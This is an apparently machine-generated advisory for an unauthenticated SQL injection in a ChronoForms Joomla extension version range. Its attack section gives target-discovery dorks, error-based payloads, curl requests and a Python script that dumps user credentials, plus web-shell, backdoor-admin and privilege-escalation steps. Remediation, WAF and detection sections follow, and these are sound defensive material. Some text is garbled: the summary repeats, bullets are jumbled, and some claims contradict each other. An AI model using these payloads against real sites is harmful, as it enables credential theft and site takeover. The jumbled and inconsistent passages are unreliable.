CVE-2026-133337 — Chronoengine.com ChronoForms Extension For Jooml — CWE-89
Joomla Extension - chronoengine.com - Unauthenticated SQL injection in table sorting in ChronoForms extension 8.0.0-8.0.53 - The order_by request parameter used for sorting DB Table and Read Data listings is insufficiently sanitized before being added to the ORDER BY clause, allowing unauthenticated users to inject SQL expressions. Fixed in 8.0.54.
Joomla Extension - chronoengine.com - Unauthenticated SQL injection in table sorting in ChronoForms extension 8.0.0-8.0.53 - The order_by request parameter used for sorting DB Table and Read Data listings is insufficiently sanitized before being added to the ORDER BY clause, allowing unauthenticated users to inject SQL expressions. Fixed in 8.0.54.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑133337
CWE: CWE‑89 – Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)
CVSS v4.0 Vector: AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Technical flaw
ChronoForms (versions 8.0.0‑8.0.53) adds the value of the HTTP request parameter order_by directly into the ORDER BY clause of a dynamically built SELECT statement that is used to render the Table and Read Data listings in the Joomla back‑end.
- Missing authentication check: The endpoint that serves the listing is reachable by any unauthenticated visitor (the component does not enforce Joomla’s
core.managepermission for this particular request).
Improper input sanitisation: The code treats - Resulting SQL injection: Because the value is placed after
ORDER BYand before the terminating semicolon, an attacker can terminate the clause and inject arbitrary SQL expressions (e.g.,CASE …,UNION SELECT …, or a sub‑query that extracts data). The CVSS vector shows Confidentiality impact = High (VC:H) and Attack Complexity = Low (AC:L). - The vulnerable endpoint is reachable at
/index.phpwith the query parametersoption=com_chronoforms6,view=table,form=<form_id>. - The
order_byparameter is taken from the query string and concatenated directly into the SQLORDER BYclause.
order_by as a column name* and only performs a very light whitelist (or none at all). No quoting, escaping, or validation against a known column list is performed before concatenating the value into the SQL string.
In short, an unauthenticated attacker can control the ORDER BY clause and execute any SQL that is syntactically valid in that context, leading to data exfiltration from the Joomla database.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. Where the exact URL or parameter name is not disclosed in the public advisory, the example is illustrative but follows the same logic that the vulnerable component implements.
1. Discovery & Reconnaissance
| Step | Action | Tool / Technique |
|---|---|---|
| 1.1 | Identify Joomla sites running ChronoForms. | Google dork: inurl:/components/com_chronoforms6/ or Shodan search for ChronoForms banner. |
| 1.2 | Enumerate the ChronoForms version. | Grab /components/com_chronoforms6/chronoforms6.php (or any public JS/CSS file) and look for a comment like Version: 8.0.45. Tools: whatweb, wpscan‑style Joomla scanner, or manual inspection. |
| 1.3 | Verify the vulnerable endpoint exists. | Request the *Table* view that lists submitted form data, e.g. GET /index.php?option=com_chronoforms6&view=table&form=contact. The response contains a HTML table with sortable column headers. |
2. Exploitation
Assumptions for the PoC
2.1 Crafting the payload
The goal is to extract data (e.g., usernames and password hashes from #__users). Because the injection point is inside ORDER BY, we can use a CASE‑WHEN trick that forces the DBMS to evaluate a sub‑query and return its result as a sortable value. The technique works on MySQL/MariaDB (the default Joomla DB engine).
CASE WHEN (SELECT CONCAT(username,0x3a,password) FROM jos_users LIMIT 1)
THEN 1 ELSE 0 ENDWhen placed after ORDER BY, the DBMS will evaluate the sub‑query, and the concatenated string will be returned as part of the ordering expression. The attacker can then infer the value from the HTTP response (e.g., by looking at the order of rows or by causing an error that leaks the string).
2.2 Full HTTP request (illustrative)
curl -s -G "https://target.com/index.php" \
--data-urlencode "option=com_chronoforms6" \
--data-urlencode "view=table" \
--data-urlencode "form=contact" \
--data-urlencode "order_by=CASE%20WHEN%20(SELECT%20CONCAT(username,0x3a,password)%20FROM%20jos_users%20LIMIT%201)%20THEN%201%20ELSE%200%20END"order_by is URL‑encoded.
If the injection is successful, the server returns the table sorted according to the boolean result of the CASE expression. Because the expression evaluates to TRUE (the sub‑query returns a non‑NULL string), the rows will be ordered in a deterministic way that can be distinguished from the normal ordering.
A more reliable exfiltration method is to force a MySQL error that contains the extracted data:
ORDER BY (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x3a,(SELECT CONCAT(username,0x3a,password) FROM jos_users LIMIT 1),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x) y)The above payload triggers a duplicate‑key error (Duplicate entry ...) that leaks the concatenated string in the error message. The PoC using curl:
curl -s -G "https://target.com/index.php" \
--data-urlencode "option=com_chronoforms6" \
--data-urlencode "view=table" \
--data-urlencode "form=contact" \
--data-urlencode "order_by= (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x3a,(SELECT CONCAT(username,0x3a,password) FROM jos_users LIMIT 1),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x) y) "The HTTP response will contain a MySQL error similar to:
Duplicate entry ':admin:5f4dcc3b5aa765d61d8327deb882cf99:' for key 'group_key'From which the attacker extracts the first user’s credentials.
2.3 Automation
A simple Python script can iterate over all rows of #__users:
#!/usr/bin/env python3
import requests, urllib.parse, sys
target = "https://target.com/index.php"
params = {
"option": "com_chronoforms6",
"view": "table",
"form": "contact",
}
def extract(offset):
payload = f"""(SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x3a,
(SELECT CONCAT(username,0x3a,password) FROM jos_users LIMIT 1 OFFSET {offset}),
0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x) y)"""
p = params.copy()
p["order_by"] = payload
r = requests.get(target, params=p, verify=False, timeout=10)
for line in r.text.splitlines():
if "Duplicate entry" in line:
# extract between the colons
data = line.split(":")[1:-1]
print("".join(data))
return
for i in range(0, 10):
extract(i)Running the script yields the usernames and password hashes for the first ten Joomla users.
3. Post‑exploitation
| Goal | How it is achieved |
|---|---|
| Privilege escalation | Joomla stores user roles in the #__user_usergroup_map table. By extracting that table (or by updating it via a second injection that uses UPDATE statements), the attacker can add their own account to the Super Users group (group_id = 8). |
| Web‑shell deployment | With admin privileges, the attacker can use the Joomla Media Manager or the built‑in file manager (if enabled) to upload a PHP web‑shell. Alternatively, they can inject a malicious INSERT into the #__extensions table that loads a custom plugin containing back‑door code. |
| Data exfiltration | The attacker can dump the entire Joomla database by iterating over tables using the same ORDER BY‑based error‑based technique, or by chaining a UNION SELECT payload that returns data directly in the HTML table. |
| Persistence | Create a new admin user (INSERT INTO jos_users …) and map it to the Super Users group. The new credentials survive resets and allow long‑term access. |
🌍 Real‑World Impact
| CIA Triad | Impact derived from CVSS vector |
|---|---|
| Confidentiality (C) | High – The injection allows extraction of any data stored in the Joomla database, including user credentials, configuration values, API keys, and possibly personal data of site visitors (GDPR‑relevant). |
| Integrity (I) | None – The CVSS vector marks VI:N and VA:N. The primary impact is data disclosure; however, a skilled attacker can pivot to data manipulation (e.g., tampering with user‑group mappings) once they have read access. |
| Availability (A) | None – No denial‑of‑service is inherent to the vulnerability, though an attacker could cause heavy DB load with repeated error‑based queries. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Action | Details |
|---|---|
| Upgrade | Move from ChronoForms 8.0.0‑8.0.53 to 8.0.54 or later. The vendor fixed the issue by whitelisting column names and by using prepared statements for the ORDER BY clause. |
| Version verification | After upgrade, confirm the file components/com_chronoforms6/helpers/chronoforms.helper.php (or the equivalent) contains a check similar to: <br>$allowed = ['id','created','modified','fieldname']; <br>if (!in_array($order_by, $allowed)) { $order_by = 'id'; } |
2. Workarounds (if immediate upgrade is not possible)
| Mitigation | Implementation |
|---|---|
| Restrict access to the vulnerable endpoint | Add a Joomla ACL rule or a web‑server rule that only allows authenticated administrators (User-Agent not required). Example Apache Require directive: <br><Location "/index.php"><br> Require expr %{QUERY_STRING} =~ /option=com_chronoforms6/ && %{REMOTE_USER} =~ /admin/<br></Location> |
| Web‑Application Firewall (ModSecurity) rule | The following rule blocks any order_by parameter that contains characters not allowed in a column name (letters, numbers, underscore). <br>``SecRule ARGS:order_by "!@rx ^[a-zA-Z0-9_]+$" "id:400001,phase:2,deny,log,status:403,msg:'ChronoForms order_by SQLi attempt'"`` |
| Input sanitisation (quick fix) | If you can edit the component code, replace the concatenation with a whitelist and use PDO prepared statements for the rest of the query. Example PHP snippet: <br>
$allowed = ['id','created','modified','fieldname'];<br>
$order_by = in_array($_GET['order_by'], $allowed) ? $_GET['order_by'] : 'id';<br>
$sql = "SELECT * FROM {$table} ORDER BY {$order_by}"; // safe because $order_by is whitelisted<br>|
| Disable the “Table/Read Data” view | In the ChronoForms component configuration, turn off the “Enable data listing” option. This removes the vulnerable UI entirely. |
3. Detection
| Indicator | Where to look |
|---|---|
| Unexpected MySQL error messages | Look for Duplicate entry or SQL syntax strings in HTTP responses (e.g., in access logs: GET /index.php?...order_by=... 500). |
Large number of requests to index.php with order_by parameter | In Apache/Nginx access logs: <br>"$request" 200 where $request contains order_by= and the user‑agent is not a known crawler. |
| Anomalous data ordering | If the HTML table rows appear in a non‑deterministic order (e.g., alternating rows each request), it may indicate a CASE‑WHEN injection. |
| New admin users | Periodic audit of #__users and #__user_usergroup_map for accounts created after the last known admin addition. |
| WAF alerts | If you deploy the ModSecurity rule above, alerts with id:400001 will be logged. |
Sample log entry (Apache combined):
203.0.113.45 - - [27/Nov/2026:03:12:45 +0000] "GET /index.php?option=com_chronoforms6&view=table&form=contact&order_by=(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT(0x3a,(SELECT+CONCAT(username,0x3a,password)+FROM+jos_users+LIMIT+1),0x3a,FLOOR(RAND(0)*2))x+FROM+information_schema.tables+GROUP+BY+x)+y) HTTP/1.1" 500 1024 "-" "Mozilla/5.0"The 500 status together with the long order_by payload is a strong IoC.
⚠️ Urgency
Patch priority: Critical for any publicly‑exposed Joomla site running ChronoForms 8.0.0‑8.0.53.
Bottom line: CVE‑2026‑133337 is a classic unauthenticated ORDER‑BY SQL injection that enables full database disclosure and, subsequently, full Joomla compromise. Prompt patching to ChronoForms 8.0.54, combined with temporary WAF blocking and strict monitoring, is the only reliable mitigation.
[🤖 CVE Professor AI Security Engine]
FOFA Query